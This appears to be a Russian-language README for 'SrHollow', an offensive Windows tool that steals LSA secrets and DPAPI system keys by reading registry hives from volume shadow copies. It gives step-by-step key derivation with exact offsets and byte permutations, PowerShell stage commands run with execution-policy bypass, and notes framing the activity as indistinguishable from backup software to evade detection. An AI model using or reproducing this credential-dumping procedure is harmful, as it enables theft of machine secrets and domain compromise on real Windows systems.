
Извлекает секреты LSA и ключи DPAPI из кустов реестра Windows через существующие или вновь созданные теневые копии VSS, используя встроенный парсер regf и расшифровку AES-256.
Извлечение секретов LSA, повторное использование существующей теневой копии VSS + встроенный парсер regf + расшифровка LSA AES-256 через bcrypt.dll.
\GLOBAL?? через NtOpenDirectoryObject + NtQueryDirectoryObject. Выбрать HarddiskVolumeShadowCopyN с наибольшим номером.SRSetRestorePointW(BEGIN_SYSTEM_CHANGE, DEVICE_DRIVER_INSTALL) из SrClient.dll.SeBackupPrivilege в текущем токене (AdjustTokenPrivileges).CreateFileW("\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\config\{SECURITY,SYSTEM}", FILE_FLAG_BACKUP_SEMANTICS) и прочитать в byte[].regf разбирает куст: базовый блок, типы ячеек nk/vk/lf/lh/li/ri/db/sk. Структура KeyNode, флаги @0x02, список подразделов @0x1C, список значений @0x28, ключ безопасности @0x2C, смещение класса @0x30, длина имени u16 @0x48, длина класса u16 @0x4A (это был баг в первой версии — документация самой Microsoft здесь неоднозначна), имя @0x4C.Class в UTF-16 hex из ControlSet00N\Control\Lsa\{JD, Skew1, GBG, Data} → 16 сырых байт → перестановка с [8,5,4,2,11,9,13,3,0,6,1,12,14,10,15,7].Policy\PolEKList\(default) (172 байта): salt = bytes[0x1C..0x3C]; tmpKey = SHA-256(BootKey || salt * 1000); pt = AES-256-CBC-decrypt(bytes[0x3C..], tmpKey, IV=0); ключ LSA = pt[68..100].Policy\Secrets\<name>\CurrVal\(default): та же структура, растяжение соли с ключом LSA вместо BootKey.DPAPI_SYSTEM: bytes[4..24] = MachineKey, bytes[24..44] = UserKey. Они расшифровывают каждый мастер-ключ DPAPI в области SYSTEM на хосте.SrHollow/
├── README.md <- вы здесь
├── src/
│ └── SrHollow.cs <- встроенный парсер regf + крипто LSA AES (~350 LOC, один файл)
└── stages/
├── Stage1-Recon.ps1 <- перечисление теневых копий только для чтения
├── Stage1b-ReadShadowHives.ps1 <- автоопределение / автосоздание теневой копии + вычитка кустов
├── Stage2-Decrypt.ps1 <- BootKey + ключ LSA + все секреты
└── Stage3-Report.ps1 <- форматированный отчёт оператора с OPSEC-следом
src/SrHollow.cs имеет нулевые зависимости помимо System.Security.Cryptography (которая сама проксирует к bcrypt.dll). Компилируется как есть через Add-Type или csc.exe.
PowerShell с повышенными правами
# 1. Read-only recon, see what shadows already exist
powershell.exe -ep bypass -File .\stages\Stage1-Recon.ps1
# 2. Extract SECURITY + SYSTEM from the newest existing shadow
# (creates one via SRSetRestorePointW if none exist)
powershell.exe -ep bypass -File .\stages\Stage1b-ReadShadowHives.ps1
# 3. Derive BootKey + LSA key + decrypt every secret
powershell.exe -ep bypass -File .\stages\Stage2-Decrypt.ps1
# 4. (Optional) formatted operator report
powershell.exe -ep bypass -File .\stages\Stage3-Report.ps1
Требуется: локальный администратор (для SeBackupPrivilege), служба Volume Shadow Copy, запущенная или доступная для запуска (по умолчанию в Windows 10/11).
Атрибутируемые сигналы, оставляемые, когда теневая копия уже существует:
CreateFileW на \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\...AdjustTokenPrivileges, включающий SeBackupPrivilegeSHA-256 + AES-CBC через bcrypt.dll (userland, ничего примечательного)Это тот же профиль открытия файлов, что и у большинства легитимных агентов резервного копирования.